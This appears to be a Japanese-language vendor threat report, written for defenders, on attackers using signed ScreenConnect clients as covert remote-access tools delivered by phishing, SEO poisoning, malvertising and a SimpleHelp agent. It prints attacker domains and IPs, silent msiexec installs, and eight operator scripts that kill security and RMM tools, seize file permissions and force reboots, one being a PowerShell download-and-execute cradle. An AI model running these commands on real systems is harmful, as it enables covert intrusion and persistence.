Key Takeaways
- TrendAI Vision One™ Services – Managed Detection and Response (MDR) チームは、正規のコード署名が付いた ScreenConnect を秘匿的なリモートアクセス型トロイの木馬（RAT）として悪用する複数の侵入事例を追跡しました。これらは攻撃者の中継先にビーコン送信するよう再構成されており、正規の IT ソフトウェアに見えるよう偽装されていました。
- 配布方法は事例ごとに異なり、フィッシングの誘導、SEO 汚染された balenaEtcher ダウンロード、不正広告によるリダイレクト、そして最も深刻な事例では、すでに常駐していた SimpleHelp エージェントが PowerShell と msiexec を使って ScreenConnect をひそかに配備していました。
- 実際に完全なハンズオン操作に至った事例では、オペレータがドメインを切り替え、Microsoft サービスを装った複数の ScreenConnect インスタンスを展開し、サービス、SafeBoot、認証プロバイダにまたがって永続化を重ねたうえで、再起動を強制する前に競合する RMM ツールを排除するスクリプトを実行していました。
- SimpleHelp バイナリの静的解析では、未認証の署名属性内に約205KBの暗号化ブロブが隠されている Authenticode stuffing が確認されました。インフラを起点に調査を広げたところ、二重用途のホスト群、GitHub raw 経由のペイロード配信、さらに他研究者の報告との重なりも判明しました。
TrendAI Vision One™ Services – Managed Detection and Response (MDR) チームは、正規でコード署名付きのリモートサポート（RMM）ツールである ConnectWise ScreenConnect の悪用が繰り返されていることを確認しています。これは、異なる侵入、異なる被害組織、別々のインフラにまたがって ScreenConnect を秘匿的なリモートアクセスツール（RAT）として使う手口であり、複数の異なるオペレータが関与している可能性があります。攻撃者は独自マルウェアを作成する代わりに、攻撃者向けに設定された ScreenConnect クライアントを被害者にインストールさせます。これにより、見た目は通常の IT ソフトウェアのまま、オペレータが端末を完全に遠隔操作でき、従来型マルウェアを検知するためのチェックも通過してしまいます。
これらの事例では、攻撃者は同じ目的に到達するために複数の配布経路を使っていました。たとえば、文書、招待状、税務関連の誘導文を含むフィッシングメール、トロイの木馬化されたフリーウェアインストーラを配布する SEO 汚染済み検索結果、広告配信やドライブバイによるステージング、そして最も深刻な事例では、ある RMM ツールを使って別の RMM ツールを展開していました。侵入が阻止された段階はさまざまで、受信時点でブロックされたフィッシングメールから、SYSTEM 権限でのキーボード操作を伴う秘匿的な侵害まで確認されています。
なかでも、特に踏み込んだ事例が2件ありました。1件は SEO 汚染を経由して実行に至ったもので、フリーウェアツールを検索していたユーザが汚染された検索結果へ誘導され、ダウンロードしたファイルには正常に動作するアプリケーション本体と、隠された ScreenConnect クライアントが同梱されていました。もう1件、そして最も深刻だった事例では、ユーザ操作自体が不要でした。ScreenConnect クライアントは、すでに常駐していた SimpleHelp RMM エージェントを通じて配布され、署名付きの RAT が別の RAT を展開していました。この最深部の事例では、攻撃者はビルドパイプラインやツールを維持したままドメインとホストを切り替えており、それが侵入の痕跡（IoC）だけではこの活動を止めにくい理由です。
攻撃者ツールとしての ScreenConnect
ScreenConnect の悪用は、今回確認されたのと同じ配布手法に沿って、ここ数年にわたりセキュリティ業界全体で継続的に記録されてきました。公開情報による追跡は少なくとも2022年までさかのぼります。悪意ある ScreenConnect 利用に関する初期研究は、2023年1月の CISA アドバイザリで言及され、その後 2024 年初頭には広く悪用された認証回避の脆弱性 CVE-2024-1708/CVE-2024-1709 が続きました。その後、攻撃者は脆弱性悪用から、再構成されたコード署名付きクライアントをソーシャルエンジニアリングで配布する方向へ移行し、2025年から2026年にかけて報告はさらに増加しました。この「信頼されたソフトウェアを悪用する」手法によって、悪性クライアントは正規の ScreenConnect トラフィックに紛れ込み、既知のリモートアクセスソフトウェアに対して監視を緩めるツールをすり抜けます。最近の報告もこれを裏付けています。
- G DATA の research では、改ざんが中継アドレスにとどまらないことが示されました。ScreenConnect は設定情報を証明書テーブルに保存しているため、攻撃者は署名を壊すことなく、アイコン、タイトル、接続インジケータを変更でき、さらにはセッション途中で被害者に電源を切らせないために Windows 更新画面を偽装することさえ可能でした。
- Lumu の 2025年4月のアドバイザリ では、2025年4月中旬以降、ScreenConnect のダウンロードパスを模倣する新たな指標が 1,300 件超報告されており、その多くは使い捨ての .top TLD と、単一の親ドメイン配下に広がる大量のサブドメインでした。これは、今回の事例で確認された使い捨てドメインのパターン（.vu, .shop, .top, .pro）や、?e=Access&y=Guest / /Bin/ という URL 構造とも一致します。
- iZOOlogic などは、ScreenConnect インストーラを配布する DocuSign をテーマにしたソーシャルエンジニアリング や、請求書、社会保障明細書、その他の金融・政府文書を装ってクライアントを偽装するキャンペーンを記録しています。これは、今回の事例で確認された電子署名、招待、税務・金融系の誘導ファミリと一致します。
- Kaspersky の MDR チームは、SEO 汚染で誘導された偽の OBS Studio、Bandicam などのソフトウェアサイトを通じてインストーラを配布する、多言語・複数ドメインのキャンペーンに関連する ScreenConnect 事例を追跡しました。Microsoft と G DATA も、偽ソフトウェアポータルや Facebook 広告で宣伝された「AI image converter」サイトとの関連を示しています。
- Acronis は、トロイの木馬化されたインストーラが、インストール直後に冗長化のため 2 種類の RAT、AsyncRAT とカスタム PowerShell RAT を投下する事例を記録しています。これは、すでに常駐していた SimpleHelp エージェントを通じて ScreenConnect が配布された今回の RMM 連鎖事例と一致します。つまり、MDR チームが観測した活動は孤立したものではなく、複数の、おそらく相互に無関係な攻撃者によって行われている、広く報告済みの継続的な ScreenConnect 悪用パターンの一部だと分かります。
攻撃ライフサイクル
これらの侵入は、配布方法にかかわらず、最初の配信からインストール、そしてキーボード操作を伴う活動に至るまで、同じ大枠のライフサイクルをたどります。違いがあるのは、MDR または顧客側が遮断するまでに、どこまで進行したかです。
当社チームは、これらの配備試行の大半を、メール配信段階からインストール段階までの早い時点で阻止しました。キーボード操作を伴う活動に進展したのは 2 件だけで、最も深く進行した RMM 連鎖事例と、実行直後に封じ込められた SEO 汚染事例です。これらの事例は、ScreenConnect のインストール成功後に何が起こり得るかを示していますが、すべての事例で必ず同じ結果になると受け取るべきではありません。初期段階で止められた侵入が継続していた場合、その後の活動は各オペレータの目的によって大きく異なっていた可能性があります。また、この2件を同一の活動とみなすべきでもありません。実行に至った経路はまったく異なっており、本稿では全体を通じて別個の侵入として扱います。
また重要なのは、これは単一グループによる統一的なキャンペーンではないという点です。これらの事例には、異なる被害組織、異なる配布経路、そして大半のケースで別々のオペレータが関与しています。一部にはインフラや攻撃手口の共通点があり、公開済みの別キャンペーン報告と重なるものもありますが、それはせいぜい共有または関連する活動を示すにとどまり、単一の帰属可能な攻撃者を示すものではありません。したがって、本ブログで述べるライフサイクルは、1件の連続した攻撃の説明ではなく、この手法を総合的に見たものです。
トリアージ上の課題
ScreenConnect の検知だけでは、それ自体で明確なシグナルになることはほとんどありません。正当な利用と悪用は、見た目がほぼ同じだからです。実際、当社がフラグを付与したクライアントが、調査の結果、正式に許可されたリモートサポートツールだったケースもありましたし、顧客が ScreenConnect を正当に利用していても、当社が捕捉したその特定インスタンスは別物だったケースもありました。さらに状況を複雑にしていたのは、複数の侵入で、クライアントが明らかに攻撃者所有のドメインではなく、正規の *.screenconnect.com クラウドリレーから直接取得されていたことです。そのため、ダウンロード元でさえ一見すると信頼できるように見えました。信頼できる判断材料は、バイナリやベンダードメインではなく、接続先となる特定のインスタンス、リレー、ダウンロード元であり、最終的に当社のトリアージもそこを重視しました。
ステージ1 - 配信：同じツールへ至る複数の経路
事例横断で最も顕著だったのは、同じツールに至る経路が非常に多様だったことです。以下の表1は、ScreenConnect 侵入で確認された配信手法をまとめたものです。
フィッシングメール
確認された配信手法の中で、圧倒的に多かったのはメールであり、誘導文は大きく3つの認識しやすいカテゴリに分かれていました。
- 電子署名・文書共有のなりすまし では、Citrix ShareFile や DocuSign のような信頼されたプラットフォームを装い、通常は「secured document」や「complete this statement」といった通知を装っていました。最も巧妙に構成された例では、送信者が被害者ごとに個別化されており、各受信者には自分自身が自分宛てに文書を共有しているように見えていました。さらに、標的となった全スタッフに対し数秒差で送信されており、機会的なばらまきではなく、リスト駆動型の自動送信を示していました。
- 電子招待・イベント系の誘導文 では、招待プラットフォームへの社会的信頼を悪用し、Evite 風の通知（「celebration of life」の招待、「<Name> sent you an invitation」、ディナー予約の招待など）を装っていました。多くの場合、無関係な受信者に対して単一の大量配信テンプレートを使い回していました。中には、クライアントを配信する前に偽 CAPTCHA のランディングページを経由させるものもありました。
- 税務、金融、政府機関テーマ では、歳入機関を装うものが見られ、たとえば Canada Revenue Agency を名乗る英仏併記（EN/FR）の誘導文では、新着の通知、請求支払い確認、保留中の税務文書といった件名が使われていました。
この3つのファミリに共通していたのは、メール自体がペイロードを直接添付していなかったことです。代わりに、メール本文に直接記載された、または添付ファイル内に埋め込まれたスピアフィッシングリンクによって、段階的に配備された ScreenConnect.ClientSetup インストーラへ誘導していました。
RMM 連鎖
この一連の中で最も明確な例外だった事例は、ユーザにまったく依存していませんでした。ここでは、ScreenConnect クライアントはすでに常駐していた SimpleHelp RMM エージェントによって配備されており、署名付きのリモート管理ツールが別のツールを展開していました。SimpleHelp プロセス（Remote Access.exe、署名者は SimpleHelp Ltd）は PowerShell のワンライナーを生成し、ScreenConnect インストーラをダウンロードして、誰でも読み取り可能な *C:\Users\Public* に Support.msi として書き込み、msiexec /qn /norestart. によりサイレント実行しました。
注目すべき点として、同一ホストではこの方法で、supoort-pdf[.]com と invoice4u-pdf[.]com という2つの異なる誘導ドメインから ScreenConnect を取得していました。どちらも同じ ?e=Access&y=Guest のゲストアクセス型ステージングを使う、使い捨ての「pdf」テーマの類似ドメインです。1台のマシン上で取得元が切り替わっていたことは、意図的なドメインローテーションを示しており、いずれかのダウンロード元がブロックまたは停止された場合に備えた予備経路だったと考えられます。
SEO 汚染
別の事例では、検索結果経由の配信経路が確認され、ScreenConnect ツールは汚染された検索エンジン結果から取得したトロイの木馬化インストーラを通じて到達していました。流れはブラウザから始まります。ユーザが Edge 経由で Bing で「balena etcher」を検索すると、正規の etcher.balena.io のすぐ下に、汚染された検索結果 balenaetcher[.]co が表示されました。
リンクをクリックすると偽のダウンロードページに誘導され、「Download balenaEtcher」を押すと hxxps://start-download.duckdns[.]org/balenaetcher/… から balenaetcher.zip が取得されました。つまり、ペイロードのステージング先は攻撃者が登録したドメインではなく、無料の動的 DNS サービスである DuckDNS 上に置かれていました。
これは、Kaspersky などが公表している SEO ポイズニングの手法と一致していました。汚染された検索結果から偽のダウンロードポータルへ誘導し、そこで利用者が求めているフリーウェアの正常に動作するコピーと、隠された ScreenConnect クライアントをまとめたアーカイブを配布する手口です。
未確認の起点: 不正広告と整合するステージング
一部の事例では、調査を通じても侵入経路を確定できませんでした。メールボックス内に確認済みのフィッシングメールはなく、ユーザ主導の明確なダウンロードも確認できませんでした。確認できたのはチェーンの末端、つまり ScreenConnect クライアントのインストーラが、攻撃者管理下の使い捨てインフラから取得されていたことです。ある事例では、cmd.exe が curl.exe を起動し、isinfo[.]top から ScreenConnect の MSI を取得していました。別の事例では、クライアントは dnsml[.]vu/glory/download.php から配布されていました。いずれも安価な TLD 上の使い捨てドメインで、正当な関連性は認められず、どちらの事例でもユーザまたはプロセスがそこへ到達した前段のステップは追跡できませんでした。
最も示唆的だったのは、ユーザが check.ufozz[.]vu から ScreenConnect の MSI をダウンロードするよう誘導されていた事例です。ブラウジング履歴をさかのぼると、その少し前にユーザは正規のアパレル小売サイト birddogs[.]com を閲覧しており、その訪問と悪性ダウンロードの間に広告関連サイトが複数挟まっていました。このフットプリント、すなわち「正規サイト → 広告／リダイレクトのホップ → 攻撃者ホストのインストーラ」という流れは、フィッシングではなく不正広告、または悪性のリダイレクトチェーンの特徴です。つまり、ユーザはメールでだまされたわけでも海賊版ソフトを探していたわけでもなく、通常の閲覧中に広告エコシステム経由でペイロードへ誘導されていました。ただし、これは確定ベクタではなく評価として示しています。ブラウジングの痕跡は不正広告と整合しますが、ループを閉じる決定的な悪性広告やリダイレクトそのものは回収できませんでした。他の未確認事例における使い捨てドメインのステージングと合わせて考えると、フィッシングに加えて、広告配信型およびドライブバイ型の経路からも同じ ScreenConnect 展開へ流入していたことが示唆されます。
ステージ2から3 - 実行とインストール
ほとんどの侵入は、ここまで到達しませんでした。テレメトリで検証できた事例は配信またはダウンロード段階で検知され、MDR の対応により、攻撃者がそれ以上進む前に封じ込められました。具体的には、メール層および Web 層で悪性インストーラの URL と実体をブロックし、露出した認証情報について予防的なリセットを促しました。エンドポイントが影響を受けていた場合は、隔離して再イメージ化しました。
2件の事例ではインストールと実行まで進行しましたが、その経路は大きく異なっていました。1件は既に常駐していた SimpleHelp RMM エージェント経由、もう1件は ScreenConnect をトロイの木馬化したフリーウェアインストーラに同梱する SEO ポイズニングのチェーン経由です。出発点は正反対でしたが、到達点は同じで、攻撃者が設定した ScreenConnect サービスが稼働する状態でした。
ケースA - RMM 連鎖（SimpleHelp が ScreenConnect を配備）
ある事例では、攻撃者はユーザにフィッシングリンクをクリックさせたり、偽装された ScreenConnect インストーラをダウンロードさせたりするのではなく、以前からインストールされていた SimpleHelp RMM エージェントを使って ScreenConnect クライアントを直接取得し、配備しました。注目すべき点として、この SimpleHelp エージェント自体が想定外の存在でした。環境内で承認されたツールではなく、利用可能なテレメトリの範囲外でインストールされていたため、いつどのように導入されたのかは調査で特定できませんでした。つまり、真の初期アクセスは当社が可視化できた活動より前に存在しており、ScreenConnect の配備は、既に確立されていた未承認の足場からの後続アクションだったことになります。SimpleHelp がホスト上のリモートアクセス経路として機能していたため、ScreenConnect のインストールは、他の事例でメール層や Web 層で阻止できたようなユーザ操作を伴わずに実行されました。
ペイロードは JWrapper パッケージとして配信されていました。これは独自のランタイムを同梱する自己完結型の Java アプリケーションバンドルで、PDF ドキュメントハンドラを装っていました。この事例では、パッケージには customer.jar（ペイロードロジック）、jwrapper_utils.jar（ラッパーユーティリティ）、pdfbox-2.0.19.jar、fontbox-2.0.19.jar が含まれていました。悪意ある JAR とともに PDF ライブラリを含めることで、正規の文書処理アプリケーションのように見せかけています。
実行時、JWrapper は JVM へのコマンドライン引数として渡された JWLaunchProperties 設定ファイルを読み込みます。2回の配信ウェーブにまたがって 2 つの異なるファイル ID が観測されており、攻撃者が試行の間に設定を更新していたことが示唆されます。このファイル自体は回収できておらず、内容は不明です。
- C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00075795303-complete\unrestricted\JWLaunchProperties-1779089813334-1
- C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00075795303-complete\unrestricted\JWLaunchProperties-1779702235549-1
PowerShell のダウンロードクレードルは 3 つの処理を順に実行します。まず System.Net.WebClient.DownloadData() で ScreenConnect の MSI をメモリ上にダウンロードし、次に C:\Users\Public\, のような誰でも書き込み可能なステージングパスへ書き出し、最後に msiexec.exe を /qn /norestart フラグ付きで起動して完全サイレントでインストールします。書き込みと実行の間にある 4 秒の Start-Sleep は、msiexec 呼び出し前にファイル書き込みが確実に完了するようにするタイミングバッファです。
攻撃者はその前に 3 回の配信試行を行っており、いずれも powershell.exe が TCP ポート 443 で supoort-pdf[.]com への接続を試みていました。テレメトリでは、この宛先は 208.91.112[.]55 に名前解決されており、Fortinet 所有のアドレスで Fortiguard SDNS Blocked Page の証明書を返していました。この IP は FortiGuard の DNS フィルタ用リダイレクト先です。要求されたドメインがブロック対象カテゴリに該当すると、FortiGate は DNS 応答を書き換えてこのアドレスを返すため、接続は本来のホストに到達する前に DNS セキュリティ層で遮断され、ブロックページへリダイレクトされていたことになります。3 回の試行はいずれも ScreenConnect のインストール成功には至りませんでした。その後、攻撃者はインフラを invoice4u-pdf[.]com（86.106.143[.]249）へ切り替え、こちらは成功しました。
同一環境内の別のエンドポイントでも、SimpleHelp の JWrapper フットプリントが一致していました。具体的には、同一の JWrapper-Windows64JRE-00063527423 パスから起動された Remote Access Monitoring.exe が 以下にビーコン送信しており、これは TrendAI™ Web Reputation Services によりブロックされていました。
hxxp://144[.]126[.]149[.]104:9999/access/...version[.]txt
共有された JWrapper パスとビルド ID の時点で、すでに同一侵入を示唆していましたが、後の SimpleHelp 静的解析でもそれが確認されました。このエンドポイントの通信先は、144.126.149[.]104 のポート 9999 で、主ホスト上の改ざん済み SimpleHelp インプラントが到達するよう設定されていたものと同じ SimpleHelp ゲートウェイでした。同一ホスト、同一ポート、同一の /access/...version.txt 更新パスです。この共有された C&C エンドポイントにより、2 台のホストが同じオペレータに結びつけられます。
ただし、このエンドポイントについてはテレメトリが利用できず、これ以上の調査はできませんでした。そのため、インフラ上の関連性は強固である一方、この 2 台目のホストで観測できたのは SimpleHelp のステージのみです。このマシン上での活動全体、特に主ホストで確認された「SimpleHelp から ScreenConnect を配備する流れ」がここでも発生したかどうかは未確認のままです。SimpleHelp と ScreenConnect を組み合わせて展開する手法は、Securonix の VENOMOUS#HELPER report（VENOMOUS#HELPER レポート）などの公表済みキャンペーンとも一致しており、そこではフィッシングの誘導文で SimpleHelp が配布されています。
ケースB - SEO ポイズニング（トロイの木馬化されたフリーウェアのインストール）
2 件目の事例では、常駐 RMM エージェントではなくユーザ操作によって実行段階に到達しましたが、結果は同じで、ScreenConnect ツールのインストールに収束しました。テレメトリでは、ダウンロードされた balenaetcher.zip が開かれ、その後に balenaEtcher のインストーラファイルとショートカット（「Balena Ltd」のスタートメニュー項目とデスクトップショートカット）が作成されたことが確認されています。それと並行して、ScreenConnect コンポーネントはシステムランタイムに見せかけるために選ばれた以下のディレクトリ 配下に配置され、
C:\Program Files (x86)\VCRunLib1428
以下のサービスバイナリ と以下の認証コンポーネントが置かれました。
ScreenConnect.ClientService.exe ScreenConnect.WindowsAuthenticationPackage.dll
クライアントは MsVC20152019Svc という偽装名のサービスとして登録され、Visual C++ 2015-2019 ランタイムのサービスを装っており、そのイメージパスは 以下を指していました。
C:\Program Files (x86)\VCRunLib1428\ScreenConnect.ClientService.exe
ステージ4 - C&C
ScreenConnect クライアントがインストールされると、ポート 8041 で攻撃者のリレーへ外向きにビーコン送信しました。この段階に到達した 2 件の事例は、それぞれ異なるリレーインフラへビーコン送信していましたが、パターンは同一でした。すなわち、ゲストアクセスの ScreenConnect セッションが 8041 番ポートで C&C へ接続するというものです。
ケースA - RMM 連鎖（SimpleHelp が ScreenConnect を配備）
この事例では、ScreenConnect.ClientService.exe が被害ホストから 86.106.143[.]249:8041 へ外向き接続する様子が捉えられており、クライアントのコマンドラインから、このリレーにドメイン (h=invoice4u-pdf[.]com&p=8041) で到達していたことが確認されました。同じホストはポート 443 で ScreenConnect の MSI インストーラも配信しており、単一の IP アドレスがペイロード配信と C&C リレーの両方を担っていました。
侵入の全期間を通じて、稼働中の ScreenConnect インスタンスは同じ invoice4u-pdf[.]com インフラから ScreenConnect の MSI をダウンロードし、繰り返しインストールするために使用されていました。テレメトリに基づくと、攻撃者はホスト上に複数の異なる ScreenConnect インスタンスを配備しており、そのうち 1 つは Microsoft ツールを装っている点が際立っていました。
- C:\Program Files (x86)\ScreenConnect Client (c2f52511b74375c5)\ScreenConnect.ClientService.exe
- C:\Program Files (x86)\ScreenConnect Client (b40d494994eae11f)\ScreenConnect.WindowsClient.exe
- C:\Program Files (x86)\MSVisualFriend\ScreenConnect.ClientService.exe
MSVisualFriend ディレクトリは、意図的に Microsoft を装う偽装です。同じ命名規則は SEO ポイズニング事例でも繰り返されており、そちらでは *C:\Program Files (x86)\VCRunLib1428* に MsVC20152019Svc というサービス名でインストールされていました。
さらに、86f0d5a67d81b88d という別のインスタンス ID もテレメトリに現れましたが、確認できたのは削除の文脈のみでした。具体的には sc delete "ScreenConnect Client (86f0d5a67d81b88d)" です。このサービスが削除されたことは確認できますが、インストールされたことまでは確認できません。削除だけではそのインスタンスの起源は特定できず、攻撃者が以前に配備したクライアントである可能性も、もともとマシン上に存在していた可能性もあります。この違いは重要です。というのも、攻撃者のハンズオン活動には、ホスト上で競合する RMM ツールを停止する行為が含まれていたため、この削除は自分たちのインスタンスの後始末ではなく、競合する、または無関係なリモートアクセス用インスタンスを排除していた可能性とも同程度に整合するからです。
また、invoice4u-pdf[.]com から取得された ScreenConnect インスタンスに加えて、攻撃者は files[.]manuscdn[.]com から MSI（helper.msi）もダウンロードしていました。これは AI エージェントプラットフォーム Manus のファイルホスティング CDN であり、URL パスは Manus エージェントセッションから配信されるファイルに対応していました。つまり、このペイロードは攻撃者が登録したインフラではなく、正規の AI サービスのインフラ上にステージングされていました。調査時点では helper.msi を確定的に識別できず、正常にインストールされた証拠もありませんでしたが、その VirusTotal profile（VirusTotal プロファイル）からは、ホスト上で使われていた他の攻撃者ツール群と整合する、別の ScreenConnect インスタンスである可能性が高いことが示されています。
ケースB - SEO ポイズニング（トロイの木馬化されたフリーウェアのインストール）
MsVC20152019Svc サービスは LocalSystem として実行され、その ScreenConnect のコマンドラインにはリレー configuration ?e=Access&y=Guest&h=update.tap-vpns[.]top&p=8041 が含まれていました。また、c=balenaEtcher というカスタムプロパティにより、このセッションがそれを配布したルアーと結び付けられていました。このセッションは、攻撃者によるハンズオン活動が実行される程度には機能しており、攻撃者が送信した PowerShell スクリプトがこれを通じて実行されました（ステージ5で説明します）。その後、198.23.185[.]136:8041 へのリレー接続試行は、ソケットのアクセス権エラー (WSAEACCES) により失敗しました。これはクライアントについて記録された最後のイベントであり、セッションが一度も確立しなかったのではなく、外向きチャネルがローカルでブロックされたことを示していました。ホストは侵入がさらに進行する前に封じ込められました。
ステージ5 - ハンズオンキーボード: 早期に阻止できなかった場合に見えるもの
ケースA - RMM 連鎖（SimpleHelp が ScreenConnect を配備）
攻撃者によるハンズオンキーボード活動は、すべて、インスタンス b40d494994eae11f を通じて実行されました。以下から 7 本の異なるスクリプトが配置されて実行されており、
C:\Windows\SystemTemp\ScreenConnect\24.4.4.9118
いずれも 以下を親プロセスとして “cmd.exe /c [script]” で動作していました。
ScreenConnect.ClientService.exe（b40d494994eae11f）
さらに同じセッション用一時ディレクトリから、3 個の MSI パッケージが直接実行されていました。スクリプトを SystemTemp に配置し、cmd.exe /c 経由で実行するパターンは、ScreenConnect のネイティブなコマンド実行機能の特徴です。これは、これらのスクリプトが別のインプラントによってではなく、リモートセッションを通じて攻撃者がライブで送信し実行したものであることを裏付けています。
- スクリプト1: gckX8p1nOk-nrun.cmd（2026年5月29日 12:22:13）
競合する RMM プロセスを終了し、それらのサービスを削除
taskkill /f /im RemotePCService.exe /im RemotePCUIU.exe /im AnyDesk.exe/im TeamViewer.exe /im RustDesk.exe /im GoToResolve.exe /im LogMeIn.exe /t sc delete "GoToResolve_239476287073917052" sc delete "RemotePCService" sc delete "AnyDesk" sc delete "TeamViewer"
- スクリプト2: uhxH07Grek-arun.cmd（2026年5月29日 12:22:20）
5 つのハイブパスにわたって LogMeIn/GoTo のアンインストール用レジストリエントリを削除し、スケジュールタスクを削除
powershell -Command "$g='{C58446FA-0DC7-459D-98E2-14C4ECB1F4E8}';
Get-ChildItem -Path
'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall',
'HKLM:\SOFTWARE\WOW6432Node\...\Uninstall',
'HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall',
'HKLM:\SOFTWARE\Classes\Installer\Products',
'HKLM:\...\Installer\UserData\S-1-5-18\Products'
-Recurse -ErrorAction SilentlyContinue |
Where-Object { $_.Name -like \"*$g*\" -or
$_.GetValue('DisplayName') -like '*LogMeIn Resolve*' } |
Remove-Item -Recurse -Force"
schtasks /delete /tn "LogMeIn*" /f
schtasks /delete /tn "GoTo*"/f
sc stop"GoToResolve"
sc delete "GoToResolve"- スクリプト3: Z8qNaKMF6EuYrun.cmd（2026年5月29日 20:48:42）
ISL Online と GoToResolve を削除し、自動実行レジストリキーを削除、explorer.exe を終了して再起動しました。
taskkill /F /IM ISLAlwaysOn.exe /T taskkill /F /IM GoToResolve.exe /T taskkill /F /IM islonline.exe/T taskkill /F /IM LogMeIn*/T sc stopISLAlwaysOn sc delete ISLAlwaysOn sc stopGoToResolve sc delete GoToResolve reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "ISL AlwaysOn" /f reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ISL AlwaysOn" /f reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "GoToResolve"/f reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoToResolve"/f schtasks /delete /tn "LogMeIn"/f schtasks /delete /tn "ISLAlwaysOn" /f schtasks /delete /tn "GoToResolve" /f taskkill /F /IM explorer.exe explorer.exe timeout /t 2
- スクリプト4（再試行）: KE4nf8azxUi5run.cmd（2026年5月29日 20:49:38）
スクリプト3の56秒後に実行され、ISL Online と GoToResolve の排除を繰り返しました。sc stop/delete と schtasks /delete のコマンドは同一です。これは同じ排除ロジックの再実行であり、オペレータが完了を確実にするためにスクリプトを2回目も実行したことを裏付けています。
- スクリプト5: 9n3RtCuYqEeWrun.cmd（2026年5月29日 23:24:45）
既存のインスタンス 86f0d5a67d81b88d を削除し、NetIQ と SpaceManager を停止したうえで、SpaceManager のシステムバイナリに対して ACL の奪取を適用しました。
sc stop"ScreenConnect Client (86f0d5a67d81b88d)" sc delete "ScreenConnect Client (86f0d5a67d81b88d)" sc stop"GoToResolve_239476287073917052" sc delete "GoToResolve_239476287073917052" sc stop"NetIQ AA Device Server" sc delete "NetIQ AA Device Server" taskkill /f /im spaceman.exe /t taskkill /f /im SpaceAgent.exe /t taskkill /f /im spaceutil.exe /t takeown /f C:\Windows\System32\spaceman.exe icaclsC:\Windows\System32\spaceman.exe/grant Everyone:F takeown /f C:\Windows\System32\SpaceAgent.exe icaclsC:\Windows\System32\SpaceAgent.exe /grant Everyone:F takeown /f C:\Windows\System32\spaceutil.exe icaclsC:\Windows\System32\spaceutil.exe/grant Everyone:F schtasks /delete /tn "GoToResolve_239476287073917052 starter" /f schtasks /delete /tn "SpaceManagerTask" /f reg delete "HKLM\SOFTWARE\...\ScreenConnect Client (86f0d5a67d81b88d)" /f reg delete "HKLM\SOFTWARE\WOW6432Node\...\ScreenConnect Client (86f0d5a67d81b88d)" /f
- スクリプト6: MzzUA5weike-run.cmd（2026年5月29日 23:28:57）
NetIQ のインストールディレクトリ全体に対して再帰的に所有権を取得し、NetIQ サービスを停止・削除したうえで、NetIQ のアンインストール用レジストリエントリをすべて消去しました。
taskkill /f /im "DeviceService.exe"/t
taskkill /f /im "AA Device Server*"/t
sc stop"NetIQ AA Device Server"
sc delete "NetIQ AA Device Server"
takeown /f "C:\Program Files (x86)\NetIQ" /r /d y
icacls"C:\Program Files (x86)\NetIQ" /grant Everyone:F /t
powershell -Command "
Get-ChildItem -Path
'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall',
'HKLM:\SOFTWARE\WOW6432Node\...\Uninstall'
| Where-Object { $_.GetValue('DisplayName') -like '*NetIQ*' }
| Remove-Item -Recurse -Force"- スクリプト7: 1PU4-3Z_d0Osrun.cmd（2026年5月29日 23:54:25）
それまでの排除コマンドを、確認されたすべてのツールに対して再実行するクリーンアップ処理であり、最後にシステムを強制再起動しました。
taskkill /f /im "GoToResolve*"/t taskkill /f /im "TeamViewer*"/t taskkill /f /im "AA Device Server*" /t taskkill /f /im "islonline*"/t taskkill /f /im "DeviceService.exe" /t taskkill /f /im "SpaceAgent.exe"/t taskkill /f /im "spaceman.exe"/t sc stop"ScreenConnect Client (86f0d5a67d81b88d)" sc delete "ScreenConnect Client (86f0d5a67d81b88d)" sc stop"GoToResolve_239476287073917052" sc delete "GoToResolve_239476287073917052" sc stop"NetIQ AA Device Server" sc delete "NetIQ AA Device Server" sc stop"isl_always_on" sc delete "isl_always_on" sc stop"syncagentsrv" sc delete "syncagentsrv" sc stop"TeamViewer" sc delete "TeamViewer" takeown /f "C:\Program Files (x86)\ScreenConnect Client (86f0d5a67d81b88d)" /r /d y icacls"C:\Program Files (x86)\ScreenConnect Client (86f0d5a67d81b88d)" /grant Everyone:F /t takeown /f "C:\Program Files (x86)\NetIQ" /r /d y icacls"C:\Program Files (x86)\NetIQ" /grant Everyone:F /t takeown /f C:\Windows\System32\spaceman.exe icaclsC:\Windows\System32\spaceman.exe/grant Everyone:Ftakeown /f C:\Windows\System32\SpaceAgent.exe icaclsC:\Windows\System32\SpaceAgent.exe /grant Everyone:F schtasks /delete /tn "GoToResolve_239476287073917052 starter" /f schtasks /delete /tn "SpaceManagerTask" /f reg delete "HKLM\SOFTWARE\...\ScreenConnect Client (86f0d5a67d81b88d)" /f reg delete "HKLM\SOFTWARE\WOW6432Node\...\ScreenConnect Client (86f0d5a67d81b88d)" /f shutdown /r /t 10 /f /c "Security Cleanup"
- スクリプト8: N7ve-GgLyEitrun.cmd（2026年5月30日 05:09:57）
PowerShell のクレードルが外部 CDN から第2ステージの MSI を取得し、ステージングしてサイレント実行した後、ステージングファイルを削除しました。
powershell -Command " $url = 'hxxps[://]files[.]manuscdn[.]com/user_upload_by_module/ session_file/310519663237443758/AkyiVgjlsoKjUmcA[.]msi'; $out = \"$env:TEMP\helper[.]msi\"; Invoke-WebRequest -Uri $url -OutFile $out; Start-Process msiexec[.]exe -ArgumentList '/i \"$out\" /qn' -Wait; Remove-Item $out"
攻撃者はこのホスト上で helper.msi をステージングして実行しました。ディスクへの書き込みは確認されていますが、テレメトリ上ではインストールが完了したかどうかまでは確認できませんでした。これは別の ScreenConnect インストーラであると評価しており、C&C ステージで詳しく述べます。
さらに、helper.msi より前に展開された3つの MSI は、いずれも ScreenConnect のインストールが確認されました。これはサービスレジストリの観測によって裏付けられています。
ケースB - SEO ポイズニング（トロイの木馬化されたフリーウェアのインストール）
SEO ポイズニングのケースでも同じハンズオンキーボードの段階に到達しましたが、途中で阻止されました。攻撃者が投入した PowerShell スクリプトは、以下から ScreenConnect セッション経由で実行されており、これはケースAで見られたネイティブなコマンド実行パターンと同一です。
C:\Windows\SystemTemp\ScreenConnect\25.3.2.9271
